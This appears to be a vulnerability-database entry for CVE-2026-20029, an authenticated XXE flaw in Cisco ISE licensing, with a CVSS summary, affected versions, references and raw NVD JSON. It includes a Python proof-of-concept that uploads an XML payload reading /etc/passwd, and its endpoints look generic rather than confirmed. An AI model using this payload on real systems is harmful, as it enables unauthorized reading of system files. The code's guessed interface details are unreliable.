CVE-2026-20029

Description

A vulnerability in the licensing features of Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker with administrative privileges to gain access to sensitive information.  This vulnerability is due to improper parsing of XML that is processed by the web-based management interface of Cisco ISE and Cisco ISE-PIC. An attacker could exploit this vulnerability by uploading a malicious file to the application. A successful exploit could allow the attacker to read arbitrary files from the underlying operating system that could include sensitive data that should otherwise be inaccessible even to administrators. To exploit this vulnerability, the attacker must have valid administrative credentials.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Cisco ISE < 3.3 Patch 4

Cisco ISE < 3.4 Patch 1

Cisco ISE-PIC < 3.3 Patch 4

Cisco ISE-PIC < 3.4 Patch 1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2026-20029 XXE PoC
# Target: Cisco ISE / ISE-PIC
# Type: XML External Entity Injection

TARGET = "https://ise.example.com/admin"
USERNAME = "admin"
PASSWORD = "password"

def exploit_xxe(target, username, password):
    """
    Exploit XXE vulnerability to read arbitrary files
    """
    # Login to get session
    session = requests.Session()
    login_url = f"{target}/login"
    login_data = {
        "username": username,
        "password": password
    }
    
    try:
        # Authenticate
        resp = session.post(login_url, data=login_data, verify=False, timeout=30)
        
        # XXE payload to read /etc/passwd
        xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<license>
  <check>&xxe;</check>
</license>'''
        
        # Upload malicious XML file
        upload_url = f"{target}/api/v1/license/upload"
        files = {'file': ('malicious.xml', xxe_payload, 'text/xml')}
        
        resp = session.post(upload_url, files=files, verify=False, timeout=30)
        
        if resp.status_code == 200:
            print("[+] XXE Exploit Successful!")
            print("Response:", resp.text)
        else:
            print("[-] Exploit Failed:", resp.status_code)
            
    except Exception as e:
        print(f"[-] Error: {str(e)}")

if __name__ == "__main__":
    exploit_xxe(TARGET, USERNAME, PASSWORD)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20029
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20029
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20029/
[4] VulDB https://vuldb.com/cve/CVE-2026-20029
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-xxe-jWSbSDKt

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20029", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:03.067", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the licensing features of Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker with administrative privileges to gain access to sensitive information. \r\n\r\nThis vulnerability is due to improper parsing of XML that is processed by the web-based management interface of Cisco ISE and Cisco ISE-PIC. An attacker could exploit this vulnerability by uploading a malicious file to the application. A successful exploit could allow the attacker to read arbitrary files from the underlying operating system that could include sensitive data that should otherwise be inaccessible even to administrators. To exploit this vulnerability, the attacker must have valid administrative credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-xxe-jWSbSDKt", "source": "[email protected]"}]}}